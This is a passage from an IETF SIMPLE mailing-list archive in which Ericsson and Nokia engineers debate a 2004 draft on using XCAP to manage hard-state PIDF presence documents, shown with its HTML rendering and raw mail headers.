  <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff size=2>OK, 
  this time I understood your points much better.</FONT></SPAN></DIV>
  <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
  size=2></FONT></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=182215601-03032004><FONT face=Arial color=#0000ff 
  size=2>Comments&nbsp;starting with [MI] inline:</FONT></SPAN></DIV>
  <BLOCKQUOTE 
  style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
    <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
    size=2>-----Original Message-----<BR><B>From:</B> ext George Foti (QA/EMC) 
    [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 2004 
    03:52<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki); 
    simple@ietf.org<BR><B>Subject:</B> Comments on PIDF-Manipulation 
    Usage-00draft (was RE: Comments on 
    draft-isomaki-simple-xcap-publish-usage-00)<BR><BR></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=509473301-03032004>Sorry, I had the wrong draft in the subject, but I 
    meant the PIDF Manipulation draft.</SPAN></FONT></DIV>
    <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
    class=509473301-03032004>Comments inline/gf</SPAN></FONT></DIV>
    <BLOCKQUOTE dir=ltr 
    style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid; MARGIN-RIGHT: 0px">
      <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
      size=2>-----Original Message-----<BR><B>From:</B> Markus.Isomaki@nokia.com 
      [mailto:Markus.Isomaki@nokia.com]<BR><B>Sent:</B> Tuesday, March 02, 2004 
      8:24 PM<BR><B>To:</B> George Foti (QA/EMC); 
      simple@ietf.org<BR><B>Subject:</B> RE: Comments on 
      draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2>Hi George,</FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2>First of all, the document you are referring to has been updated 
      with this one:</FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2><A 
      href="http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt">http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt</A></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2>I'll submit the WG version shortly after the meeting. The changes 
      compared to the version you&nbsp;read&nbsp;are mainly clarifications, so I 
      think your comments would apply to the new draft as well. My anwers to 
      each point below:</FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2>1) XCAP operations are hard state by nature, no refreshing is 
      needed, so this is inherently hard state manipulation. 
</FONT></SPAN></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN 
      class=509473301-03032004>/gf&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>Agree, but how do 
      you prevent users, from using XCAP from manipulating presence soft 
      states.</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>I assume that all 
      the presence tuples are part of the same presence document. 
      </SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>Now you are 
      advocating selective manipluation of some tuples and not others using 
      XCAP.</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>Have I 
      misunderstood something here ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>How will you 
      enforce that ?</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN 
      class=509473301-03032004>gf/</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN 
      class=509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
      <DIV><FONT face=Arial color=#0000ff size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004><SPAN 
      class=182215601-03032004>[MI] OK, I think I know what you mean. The model 
      for how the final presence document is put together is shown in the draft 
      in Chapter 3. First,&nbsp;a presentity can publish several PIDF documents 
      using SIP PUBLISH. Then, she can have a single "hard state" 
      PIDF&nbsp;document manipulated with XCAP. All of these can contain any 
      number of tuples. All this is fed into magic called "event state 
      compositor", which produces a single consistent presence document. The 
      fact that the compositor logic has been left as implementation specific is 
      a feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I 
      agree that there will be interoperability issues with how things with the 
      composition definition are at the moment, but this draft does not cause 
      the problem.</SPAN></SPAN></SPAN></FONT></DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN 
      class=509473301-03032004></SPAN></SPAN></FONT></FONT></FONT>&nbsp;</DIV>
      <DIV><FONT face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=902344900-03032004><SPAN class=509473301-03032004>&nbsp;</SPAN>2) 
      The default model I have in mind is that each presentity would have 
      exactly one persistent device-independent presence document that would be 
      manipulated by XCAP. That would be fed to the composition logic to 
      complement the PUA/device-specific documents published using SIP PUBLISH 
      mechanism.<SPAN class=509473301-03032004>&nbsp;</SPAN></SPAN><SPAN 
      class=902344900-03032004><SPAN 
      class=509473301-03032004>&nbsp;</SPAN></SPAN></FONT></FONT></FONT></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2>XCAP is meant to be a generic XML-manipulation 
      mechanism, so there should be nothing specific in this application usage. 
      Once the base XCAP is finished, we'll see what the exact mechanisms to 
      mandate supported namespaces are, and we'll adopt that convention in this 
      draft too. This is probably still changing from xcap-02 draft, as was 
      discussed in SIMPLE session.&nbsp;<SPAN 
      class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>Not totally 
      true</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>XCAP have a 
      limited set of rules for HTTP URI 
      creation.</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN><SPAN 
      class=902344900-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
      size=2><SPAN class=509473301-03032004>So&nbsp;it is not meant for *any* 
      XML document.</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>I think the XCAP 
      framework is clear on that</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>You would need 
      to expand those rules, which can complicate things quite a lot, not to 
      mention slow things down, to make it more 
      generic.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2>gf/<SPAN 
      class=182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=182215601-03032004>[MI] I think you are right on this one, my 
      previous statement was wrong. XCAP can have problems with handling *any* 
      XML document, if the selector construction will be restricted to only 
      limited number of possibilities. However, see Jonathan's mail attached to 
      this mail. Based on this I assume PIDF would still be OK for XCAP as it is 
      now.</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2>3) I'm not sure if I&nbsp;understood the 
      question. This is not a template for any applications that want to use 
      XCAP, this is standardizing how XCAP is used to manipulate PIDF-formatted 
      presence documents. As there is no computed data or anything, I guess an 
      app usage for any XML doc would be quite similar to this one.<SPAN 
      class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>For event 
      packages we have a template that have to be filled&nbsp;by for anyone who 
      wants to create a new event 
      package.</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>So I am asking 
      if your&nbsp;document presents a template, similar&nbsp;to the event 
      package approach. (forget about the content for your 
      application)</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>I am not sure if 
      I am clear&nbsp;on that 
one.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2>gf/<SPAN 
      class=182215601-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=182215601-03032004></SPAN></FONT></FONT></FONT></SPAN></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><SPAN class=509473301-03032004><FONT 
      face=Arial><FONT color=#0000ff><FONT size=2><SPAN 
      class=182215601-03032004>[MI] OK, I got the question, thanks. Yes,&nbsp;we 
      tried to follow&nbsp;the structure/template how Jonathan has defined 
      the&nbsp;other existing&nbsp;XCAP application usages. So it should&nbsp;be 
      according to how XCAP AUs are ssupposed to be 
      specified.&nbsp;</SPAN></FONT></FONT></FONT></SPAN></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2>4) Surely there are many ways to manipulate 
      PIDF documents. However, in context of SIMPLE, XCAP is a natural choice 
      since it's needed already in any advanced presence-capable device. Could 
      you explain what kind of complexities you mean? This is as simple an XCAP 
      usage as&nbsp;there can be. Are you saying that XCAP in itself is complex? 
      A more simple way would be to use just normal HTTP PUT and DELETE, but 
      since we have XCAP at our disposal, why not use it.<SPAN 
      class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004></SPAN></FONT></FONT></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004>/gf</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>The complexities 
      will arise if we allow users to do selective manipulation, using 
      XCAP,&nbsp;for certain tuples&nbsp;*only*, and using PUBLISH for the 
      remaining tuples.</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN class=509473301-03032004>So I need to see 
      your answer first to my&nbsp;response to your first &nbsp;bullet before I 
      go further</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial><FONT 
      color=#0000ff><FONT size=2><SPAN 
      class=509473301-03032004>&nbsp;</SPAN></FONT></FONT></FONT></SPAN><SPAN 
      class=902344900-03032004><FONT face=Arial><FONT color=#0000ff><FONT 
      size=2><SPAN 
      class=509473301-03032004>gf/&nbsp;</SPAN></FONT></FONT></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2><SPAN class=182215601-03032004>[MI] As I explained above, you can 
      already PUBLISH several documents and there has to be a way to do 
      composition. So the complexity is already inbuilt in SIMPLE, it is not in 
      this sense extended here.</SPAN></FONT></SPAN></DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2></FONT></SPAN>&nbsp;</DIV>
      <DIV><SPAN class=902344900-03032004><FONT face=Arial color=#0000ff 
      size=2>Markus</FONT></SPAN></DIV>
      <BLOCKQUOTE 
      style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px solid">
        <DIV class=OutlookMessageHeader dir=ltr align=left><FONT face=Tahoma 
        size=2>-----Original Message-----<BR><B>From:</B> ext George Foti 
        (QA/EMC) [mailto:george.foti@ericsson.com]<BR><B>Sent:</B> 03 March, 
        2004 02:47<BR><B>To:</B> Isomaki Markus (Nokia-NRC/Helsinki); 
        simple@ietf.org<BR><B>Subject:</B> Comments on 
        draft-isomaki-simple-xcap-publish-usage-00<BR><BR></FONT></DIV><BR>
        <P><FONT face="Times New Roman">Hi Markus,</FONT> </P>
        <P><FONT face="Times New Roman">I have some comments on your 
        draft:</FONT> </P>
        <P><FONT face="Times New Roman">1) Although you indicate that this 
        should be used only for hard states, what is there to prevent users from 
        manipulating other presence states in there through XCAP.</FONT></P>
        <P><FONT face="Times New Roman">2) XCAP is meant to be used for 
        documents that are created to take advantage of the defined XCAP rules 
        for HTTP URI creation. Which XML presence documents in particular are 
        you proposing that they get manipulated by XCAP.&nbsp; </FONT></P>
        <P><FONT face="Times New Roman">How do you ensure that the current XCAP 
        rules are suffiicient for the purpose you have in mind. I also doubt 
        that you can use the current XML presence documents (PIDF and 
        extensions) for XCAP purposes as is. For example, should there not be 
        the element mandatory-ns, in there, as per the XCAP 
framework.</FONT></P>
        <P><FONT face="Times New Roman">3) Is this template meant to be a 
        generic template to be used by all applications that want to use 
        XCAP.</FONT> </P>
        <P><FONT face="Times New Roman">4) Finally, I believe that there are 
        other, out-of-band means, to accomplish your goals, i.e. manipulate hard 
        states, without the unwarranted complexities that the draft creates. 
        Thus, there must be explicit references in the draft to that fact.&nbsp; 
        </FONT></P>
        <P><FONT face=Arial size=2>/gf</FONT> <BR><FONT face=Arial 
        size=2>Ericsson Canada</FONT> </P><BR><BR>This communication is 
        confidential and intended solely for the addressee(s). Any unauthorized 
        review, use, disclosure or distribution is prohibited. If you believe 
        this message has been sent to you in error, please notify the sender by 
        replying to this transmission and delete the message without disclosing 
        it. Thank you.<BR><BR>E-mail including attachments is susceptible to 
        data corruption, interruption, unauthorized amendment, tampering and 
        viruses, and we only send and receive e-mails on the basis that we are 
        not liable for any such corruption, interception, amendment, tampering 
        or viruses or any consequences thereof. 
    </BLOCKQUOTE></BLOCKQUOTE><BR><BR>This communication is confidential and 
    intended solely for the addressee(s). Any unauthorized review, use, 
    disclosure or distribution is prohibited. If you believe this message has 
    been sent to you in error, please notify the sender by replying to this 
    transmission and delete the message without disclosing it. Thank 
    you.<BR><BR>E-mail including attachments is susceptible to data corruption, 
    interruption, unauthorized amendment, tampering and viruses, and we only 
    send and receive e-mails on the basis that we are not liable for any such 
    corruption, interception, amendment, tampering or viruses or any 
    consequences thereof. </BLOCKQUOTE></BLOCKQUOTE> <br><br>This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.<br><br>E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.</BODY></HTML>

------_=_NextPart_001_01C400CB.FDF61802--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 22:12:05 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA24617
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 22:12:05 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMnH-00086s-QT
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 22:11:38 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i233BZVe031168
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 22:11:35 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMnH-00086d-JI
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 22:11:35 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA24458
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 22:11:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMnE-0007fg-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 22:11:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMkq-00077E-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 22:09:07 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMjy-0006zr-01; Tue, 02 Mar 2004 22:08:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyMj9-0000sd-WA; Tue, 02 Mar 2004 22:07:20 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMir-0006yD-IK; Tue, 02 Mar 2004 22:07:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyMi4-0006sd-OG
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 22:06:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA24209
	for <simple@ietf.org>; Tue, 2 Mar 2004 22:06:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMi1-0006ew-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:06:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyMh2-0006UL-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:05:11 -0500
Received: from imr1.ericy.com ([198.24.6.9])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyMgG-0006D5-00
	for simple@ietf.org; Tue, 02 Mar 2004 22:04:20 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr1.ericy.com (8.12.10/8.12.10) with ESMTP id i2333hLc009697
	for <simple@ietf.org>; Tue, 2 Mar 2004 21:03:43 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 2 Mar 2004 20:59:07 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYMR2L4>; Tue, 2 Mar 2004 21:03:33 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95C6@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400CB.FDF61802"
X-OriginalArrivalTime: 03 Mar 2004 02:59:07.0062 (UTC) FILETIME=[7E4E0560:01C400CB]
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comment
 s on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 21:02:42 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_30_40,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400CB.FDF61802
Content-Type: text/plain;
	charset="iso-8859-1"

Hi Markus,
I would like to adrress the following statement below that I cut from the original exchange:
 
1)  First, a presentity can publish several PIDF documents using SIP PUBLISH. Then, she can have a single "hard state" PIDF document manipulated with XCAP. All of these can contain any number of tuples. All this is fed into magic called "event state compositor", which produces a single consistent presence document. The fact that the compositor logic has been left as implementation specific is a feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I agree that there will be interoperability issues with how things with the composition definition are at the moment, but this draft does not cause the problem.
 
/gf
There is no  stand alone "hard state" PIDF document that is defined today that can be solely managed by XCAP.
XCAP requires an XML document with an XML schema to be able to properly verify operations.
What you have in mind, I think, is a number of tuples from various defined presence documents (PIDF, RPID, etc..) that you want to manage using XCAP.
 
Unless you create such a *stand alone* XMP document for hard states, I dont beleive that you can do what you want with XCAP, without creating interoperability problems, or open the door for abuses that would require complexities to overcome.
gf/
2) Based on this I assume PIDF would still be OK for XCAP as it is now.
 
This is where I beleive that what you want can only be done with a *new stand-alone* XML  document. For example, the XCAP framework requires the inclusion of the mandatory-ns element, if you would include in the XML document managed by XCAP, elements from other name spaces.
That today is not part of PIDF.  The tuples you want XCAP to manage are not part of PIDF, rather other presence documents.
So how would that work then.
 

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 9:23 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Hi,
 
OK, this time I understood your points much better.
 
Comments starting with [MI] inline:

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 03:52
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on PIDF-Manipulation Usage-00draft (was RE: Comments on draft-isomaki-simple-xcap-publish-usage-00)


Sorry, I had the wrong draft in the subject, but I meant the PIDF Manipulation draft.
Comments inline/gf

-----Original Message-----
From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
Sent: Tuesday, March 02, 2004 8:24 PM
To: George Foti (QA/EMC); simple@ietf.org
Subject: RE: Comments on draft-isomaki-simple-xcap-publish-usage-00


Hi George,
 
First of all, the document you are referring to has been updated with this one:
http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt <http://www.ietf.org/internet-drafts/draft-isomaki-simple-xcap-pidf-manipulation-usage-00.txt> 
 
I'll submit the WG version shortly after the meeting. The changes compared to the version you read are mainly clarifications, so I think your comments would apply to the new draft as well. My anwers to each point below:
 
1) XCAP operations are hard state by nature, no refreshing is needed, so this is inherently hard state manipulation. 
/gf 
Agree, but how do you prevent users, from using XCAP from manipulating presence soft states.
I assume that all the presence tuples are part of the same presence document. 
Now you are advocating selective manipluation of some tuples and not others using XCAP.
Have I misunderstood something here ?
How will you enforce that ?
gf/
 
[MI] OK, I think I know what you mean. The model for how the final presence document is put together is shown in the draft in Chapter 3. First, a presentity can publish several PIDF documents using SIP PUBLISH. Then, she can have a single "hard state" PIDF document manipulated with XCAP. All of these can contain any number of tuples. All this is fed into magic called "event state compositor", which produces a single consistent presence document. The fact that the compositor logic has been left as implementation specific is a feature (or a deficiency) in SIMPLE, and this draft makes it no worse. I agree that there will be interoperability issues with how things with the composition definition are at the moment, but this draft does not cause the problem.
 
 2) The default model I have in mind is that each presentity would have exactly one persistent device-independent presence document that would be manipulated by XCAP. That would be fed to the composition logic to complement the PUA/device-specific documents published using SIP PUBLISH mechanism.  
XCAP is meant to be a generic XML-manipulation mechanism, so there should be nothing specific in this application usage. Once the base XCAP is finished, we'll see what the exact mechanisms to mandate supported namespaces are, and we'll adopt that convention in this draft too. This is probably still changing from xcap-02 draft, as was discussed in SIMPLE session.  
 
/gf
Not totally true
XCAP have a limited set of rules for HTTP URI creation.
So it is not meant for *any* XML document.
I think the XCAP framework is clear on that
You would need to expand those rules, which can complicate things quite a lot, not to mention slow things down, to make it more generic. 
gf/ 
 
[MI] I think you are right on this one, my previous statement was wrong. XCAP can have problems with handling *any* XML document, if the selector construction will be restricted to only limited number of possibilities. However, see Jonathan's mail attached to this mail. Based on this I assume PIDF would still be OK for XCAP as it is now.
 
3) I'm not sure if I understood the question. This is not a template for any applications that want to use XCAP, this is standardizing how XCAP is used to manipulate PIDF-formatted presence documents. As there is no computed data or anything, I guess an app usage for any XML doc would be quite similar to this one. 
 
/gf
For event packages we have a template that have to be filled by for anyone who wants to create a new event package.
So I am asking if your document presents a template, similar to the event package approach. (forget about the content for your application)
I am not sure if I am clear on that one. 
gf/ 
 
[MI] OK, I got the question, thanks. Yes, we tried to follow the structure/template how Jonathan has defined the other existing XCAP application usages. So it should be according to how XCAP AUs are ssupposed to be specified. 
 
4) Surely there are many ways to manipulate PIDF documents. However, in context of SIMPLE, XCAP is a natural choice since it's needed already in any advanced presence-capable device. Could you explain what kind of complexities you mean? This is as simple an XCAP usage as there can be. Are you saying that XCAP in itself is complex? A more simple way would be to use just normal HTTP PUT and DELETE, but since we have XCAP at our disposal, why not use it. 
 
/gf
The complexities will arise if we allow users to do selective manipulation, using XCAP, for certain tuples *only*, and using PUBLISH for the remaining tuples.
So I need to see your answer first to my response to your first  bullet before I go further
 gf/ 
 
